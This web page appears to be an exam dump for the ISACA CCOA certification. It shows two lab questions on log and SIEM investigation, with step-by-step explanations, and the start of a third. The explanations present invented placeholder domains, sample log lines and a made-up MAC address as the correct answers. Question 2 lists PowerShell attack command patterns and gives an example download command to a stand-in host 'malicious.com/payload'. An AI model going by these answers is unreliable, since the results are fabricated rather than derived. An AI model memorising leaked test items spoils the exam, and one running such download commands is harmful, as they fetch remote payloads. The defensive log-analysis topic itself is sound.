Free ISACA CCOA Exam Dumps Questions & Answers


Exam Code/Number:	CCOAJoin the discussion
Exam Name:	ISACA Certified Cybersecurity Operations Analyst
Certification:	ISACA
Question Number:	140
Publish Date:	Sep 29, 2026
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Total 140 questions

Question 1

The CISO has received a bulletin from law enforcementauthorities warning that the enterprise may be at risk ofattack from a specific threat actor. Review the bulletin named CCOA Threat Bulletin.pdf on the Desktop.
Which of the following domain name(s) from the CCOAThreat Bulletin.pdf was contacted between 12:10 AMto 12:12 AM (Absolute) on August 17, 2024?

Correct Answer:

See the solution in Explanation.
Explanation:
Step 1: Understand the Objective
Objective:
* Identify thedomain name(s)that werecontactedbetween:
12:10 AM to 12:12 AM on August 17, 2024
* Source of information:
CCOA Threat Bulletin.pdf
* File location:
~/Desktop/CCOA Threat Bulletin.pdf
Step 2: Prepare for Investigation
2.1: Ensure Access to the File
* Check if the PDF exists:
ls ~/Desktop | grep "CCOA Threat Bulletin.pdf"
* Open the file to inspect:
xdg-open ~/Desktop/CCOA\ Threat\ Bulletin.pdf
* Alternatively, convert to plain text for easier analysis:
pdftotext ~/Desktop/CCOA\ Threat\ Bulletin.pdf ~/Desktop/threat_bulletin.txt cat ~/Desktop/threat_bulletin.txt
2.2: Analyze the Content
* Look for domain names listed in the bulletin.
* Make note ofany domainsorURLsmentioned as IoCs (Indicators of Compromise).
* Example:
suspicious-domain.com
malicious-actor.net
threat-site.xyz
Step 3: Locate Network Logs
3.1: Find the Logs Directory
* The logs could be located in one of the following directories:
/var/log/
/home/administrator/hids/logs/
/var/log/httpd/
/var/log/nginx/
* Navigate to the likely directory:
cd /var/log/
ls -l
* Identify relevant network or DNS logs:
ls -l | grep -E "dns|network|http|nginx"
Step 4: Search Logs for Domain Contacts
4.1: Use the Grep Command to Filter Relevant Timeframe
* Since we are looking for connections between12:10 AM to 12:12 AMonAugust 17, 2024:
grep "2024-08-17 00:1[0-2]" /var/log/dns.log
* Explanation:
* grep "2024-08-17 00:1[0-2]": Matches timestamps between00:10and00:12.
* Replace dns.log with the actual log file name, if different.
4.2: Further Filter for Domain Names
* To specifically filter out the domains listed in the bulletin:
grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" /var/log/dns.log
* If the logs are in another file, adjust the file path:
grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" /var/log/nginx/access.log Step 5: Correlate Domains and Timeframe
5.1: Extract and Format Relevant Results
* Combine the commands to get time-specific domain hits:
grep "2024-08-17 00:1[0-2]" /var/log/dns.log | grep -E "(suspicious-domain.com|malicious-actor.net|threat- site.xyz)"
* Sample Output:
2024-08-17 00:11:32 suspicious-domain.com accessed by 192.168.1.50
2024-08-17 00:12:01 malicious-actor.net accessed by 192.168.1.75
* Interpretation:
* The command revealswhich domain(s)were contacted during the specified time.
Step 6: Verification and Documentation
6.1: Verify Domain Matches
* Cross-check the domains in the log output against those listed in theCCOA Threat Bulletin.pdf.
* Ensure that the time matches the specified range.
6.2: Save the Results for Reporting
* Save the output to a file:
grep "2024-08-17 00:1[0-2]" /var/log/dns.log | grep -E "(suspicious-domain.com|malicious-actor.net|threat- site.xyz)" > ~/Desktop/domain_hits.txt
* Review the saved file:
cat ~/Desktop/domain_hits.txt
Step 7: Report the Findings
Final Answer:
* Domain(s) Contacted:
* suspicious-domain.com
* malicious-actor.net
* Time of Contact:
* Between 12:10 AM to 12:12 AM on August 17, 2024
* Reasoning:
* Matched thelog timestampsanddomain nameswith the threat bulletin.
Step 8: Recommendations:
* Immediate Block:
* Add the identified domains to theblockliston firewalls and intrusion detection systems.
* Monitor for Further Activity:
* Keep monitoring logs for any further connection attempts to the same domains.
* Perform IOC Scanning:
* Check hosts that communicated with these domains for possible compromise.
* Incident Report:
* Document the findings and mitigation actions in theincident response log.

Question 2

Your enterprise SIEM system is configured to collect andanalyze log data from various sources. Beginning at12:00 AM on December 4, 2024, until 1:00 AM(Absolute), several instances of PowerShell arediscovered executing malicious commands andaccessing systems outside of their normal workinghours.
What is the physical address of the web server that wastargeted with malicious PowerShell commands?

Correct Answer:

See the solution in Explanation.
Explanation:
To determine the physical address of the targeted web server, follow thesestep-by-step instructionsto analyze the logs in your SIEM system. The goal is to identify malicious PowerShell activity targeting the web server during the specified time window (12:00 AM to 1:00 AM on December 4, 2024).
Step 1: Understand the Context
* Scenario:Your SIEM has detected suspicious PowerShell activities during off-hours (12:00 AM to 1:00 AM).
* Objective:Identify the physical (MAC) address of the web server targeted by the malicious PowerShell commands.
Step 2: Identify Relevant Log Sources
* Logs to investigate:
* PowerShell logs (Event ID 4104)for command execution.
* Windows Security Event Logsfor login and access attempts.
* Network Traffic Logs(firewall or IDS/IPS) to detect connections made by PowerShell.
* Web Server Access Logsfor any unusual requests.
SIEM Log Sources:
* Windows Event Logs (Sysmon/PowerShell)
* Firewall Logs
* IDS/IPS Alerts
* Web Server Logs (IIS, Apache)
Step 3: Use SIEM Filters to Isolate Relevant Events
* Time Frame Filter:
* Set the time range from12:00 AM to 1:00 AMonDecember 4, 2024.
* Event ID Filter:
* Filter forEvent ID 4104(PowerShell script block logging).
* Command Pattern:
* Look for suspicious commands like:
Invoke-WebRequest
Invoke-Expression (IEX)
New-Object Net.WebClient
* Process Name:
* Filter logs where theProcess Nameis powershell.exe.
Example SIEM Query:
index=windows_logs
| search EventID=4104 ProcessName="powershell.exe"
| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"
| table _time, ProcessName, CommandLine, SourceIP, DestinationIP, MACAddress Step 4: Correlate Events with Network Logs
* Once you identify PowerShell events, correlate them withnetwork traffic logs.
* Focus on:
* Source IP Address: Where the PowerShell commands originated.
* Destination IP Address: Targeted web server.
* Use theIP address of the web serverto trace back theMAC address.
Example Network Log Query:
index=network_logs
| search DestinationIP="<Web_Server_IP>"
| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"
| table _time, SourceIP, DestinationIP, MACAddress, Protocol, Port
Step 5: Analyze the PowerShell Commands
* Investigate the nature of the commands:
* Data Exfiltration:Using Invoke-WebRequest to send data to external IPs.
* Remote Code Execution:Using IEX to run downloaded scripts.
* Cross-check commands against knownIndicators of Compromise (IOCs).
Step 6: Validate the Web Server's Physical Address
* Identify theMAC addresscorresponding to the targeted web server.
* Cross-reference withARP tables or DHCP logsto confirm the mapping between IP and MAC address.
Example ARP Command on Windows:
arp -a | findstr <Web_Server_IP>
Step 7: Report the Findings
* Document the targeted server'sIP address and MAC address.
* Summarize the malicious activity:
* Commands executed
* Time and duration
* Source and destination IPs
Example Finding:
Web Server IP: 192.168.1.50
Physical (MAC) Address: 00:1A:2B:3C:4D:5E
Time of Attack: 12:30 AM, December 4, 2024
PowerShell
Command: Invoke-WebRequest -Uri "http://malicious.com/payload"
Step 8: Take Immediate Actions
* Isolate the affected server.
* Block external IPs involved.
* Terminate malicious PowerShell processes.
* Conduct a forensic analysis of compromised systems.
Step 9: Strengthen Security Post-Incident
* Implement PowerShell Logging:Enable detailed script block and module logging.
* Enhance Network Monitoring:Set up alerts for unusual PowerShell activities.
* User Behavior Analytics (UBA):Detect anomalous login patterns outside working hours.

Question 3

Which of the following is the core component of an operating system that manages resources, implements security policies, and provides the interface between hardware and software?